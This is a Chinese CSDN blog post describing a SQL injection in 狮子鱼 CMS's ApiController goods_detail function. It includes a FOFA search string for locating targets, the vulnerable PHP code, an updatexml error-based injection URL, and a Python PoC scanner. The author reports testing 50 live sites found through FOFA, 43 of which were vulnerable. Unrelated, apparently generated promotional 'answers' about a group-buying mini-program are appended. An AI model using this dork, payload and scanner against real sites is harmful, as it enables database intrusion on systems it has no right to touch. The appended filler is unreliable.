狮子鱼cms-SQL注入

狮子鱼CMS ApiController.class.php 参数过滤存在不严谨,导致SQL注入漏洞
FOFA语法:

    “/seller.php?s=/Public/login”

后台登录界面

image-20210519175719369
漏洞点:ApiController.class.php

public function goods_detail()
    {
        $goods_id = I('get.goods_id');
        //gallery =>img_url
        //goods goods.goods_desc  goods_name group_price  market_price  sell_count group_number 

        $sql="select g.*,gd.description,gd.summary,gd.tag from ".
        C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;

        $goods_arr=M()->query($sql);

        $qian=array("\r\n");
        $hou=array("<br/>");
        $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); 

        $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
        $goods_image=M()->query($sql);

        $gallery = array();
        $default_image = '';
        foreach($goods_image as $val)
        {
            $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/image/'.$val['image'];

            if(empty($default_image))
            {
                $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
            }

            $gallery[] = array('img_url' => $val['img_url']); 
        }

        $goods = $goods_arr[0];

16行的$goods_id没有进行严格过滤,导致sql注入。
路径:

https://www.xxx.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
验证:image-20210519180328476


POC

# -*- coding:utf-8 -*-
import requests
import re
import json
import sys
import urllib3

urllib3.disable_warnings() #忽略https证书告警

vunl_path = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"

def POC(url):
    target_url = url + vunl_path
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",

    }
    try:
        response = requests.get(url=target_url, headers=headers, verify=False, timeout=10)
        print("正在测试:", target_url)
        if "syntax" in response.text:
            print("上述地址存在SQL注入")

    except Exception as e:
        print("请求失败!")
        sys.exit(0)

if __name__ == '__main__':
    print("python3 poc.py http://xx.xx.xx.xx")
    addr = str(input("Please input url"))
    POC(addr)

结果:

image-20210519190312804
没有fofa会员的情况下50个请求里面有43个存在SQL注入。
————————————————
版权声明:本文为CSDN博主「wwxxee」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42633229/article/details/117070546

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
### 回答1: 狮子社区团购小程序v17.7是一款功能强大、便捷实用的团购平台。此小程序通过与社区居民的绑定,为用户提供了丰富的社区生活服务。 首先,狮子社区团购小程序v17.7具有便捷的购物功能。用户可以通过小程序直接浏览社区内各类商品,并将其加入购物车,最后一次性结算。这为用户省去了与线下购物相比的种种不便,同时,用户还能够享受到更多促销和团购优惠,更实惠地购物。 其次,该小程序还为社区居民提供线上团购平台。用户可以通过小程序发起团购活动,邀请其他社区居民参与,从而获得更多折扣或者独家优惠。这不仅增强了社区居民之间的互动和交流,还提升了团购的参与度和成功率。 此外,狮子社区团购小程序v17.7还设置了用户评价和推荐系统。用户可以对购买过的商品进行评价,为其他用户提供参考。同时,小程序会根据用户的购买和评价记录,为其推荐符合个人喜好的商品,提升用户体验。 最后,狮子社区团购小程序v17.7还致力于提供高质量的售后服务。用户可以通过小程序在线咨询客服,解决遇到的问题。同时,小程序还提供退换货等售后服务,保障用户权益。 总体来说,狮子社区团购小程序v17.7是一款完善的团购平台,为社区居民提供了便利、实惠和高效的购物体验。它不仅促进了社区居民之间的交流和互动,还为用户带来了更多优质的商品选择和服务。 ### 回答2: 狮子社区团购小程序v17.7是一款专注于社区团购的小程序。该小程序提供了丰富的功能和便捷的服务,为用户提供了更好的购物体验。 首先,狮子社区团购小程序v17.7具有强大的商品展示功能。用户可以在小程序中浏览到各种社区团购商品的详细信息,包括商品的图片、价格、规格、产地等。用户可以通过小程序轻松了解商品的特点和优势,选择心仪的商品进行购买。 其次,该小程序提供了便捷的购物流程。用户可以选择心仪的商品加入购物车,然后选择配送地址和支付方式。小程序支持多种支付方式,包括微信支付、支付宝等,用户可以根据自身需求选择适合自己的支付方式。通过简单的几步操作,用户就可以完成团购商品的购买。 此外,狮子社区团购小程序v17.7还提供了社区互动功能。用户可以在小程序中加入社区,与其他社区成员互动交流,分享购物心得和团购优惠信息。社区还将定期组织一些线下活动,让用户更好地认识社区成员,增加社区凝聚力。 总的来说,狮子社区团购小程序v17.7是一款功能强大、操作简便的小程序。它通过丰富的商品展示、便捷的购物流程和社区互动功能,为用户提供了更好的购物体验,帮助用户更便捷地参与社区团购活动。无论是购买商品还是参与社区互动,用户都能在这款小程序中找到满足自己需求的功能。 ### 回答3: 狮子社区团购小程序v17.7是一款专为社区居民量身定制的电商应用程序。该小程序集结了社区内商家的特色商品和服务资源,为社区居民提供便捷、优质的购物体验。 首先,狮子社区团购小程序v17.7致力于满足社区居民的各类购物需求。用户通过该小程序可以轻松浏览社区商家的商品和服务信息,包括生活用品、食品保健品、家居装饰、餐饮外卖等。居民可以根据自己的需要选择心仪的商品,并享受到便宜的团购价格。 其次,狮子社区团购小程序v17.7具备便捷的购物功能。用户可以通过该小程序实现商品的在线下单和支付,无需亲自去商家处购买,极大地提高了购物的便利性。用户可以随时随地进行下单,节省了购物的时间和精力。 此外,狮子社区团购小程序v17.7还积极推动社区居民之间的交流和互动。在该小程序中,用户可以发布和参与社区团购的活动,与邻居们一起团购商品,享受更多优惠。社区居民可以通过交流平台留言、评论、评分等方式,分享对商品和服务的评价和体验,帮助其他居民做出更明智的购买决策。 总之,狮子社区团购小程序v17.7是一款方便、实用的电商应用程序。通过该小程序,社区居民可以尽享便捷的购物体验,同时促进社区居民之间的交流和互动,提升社区居民的生活品质。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值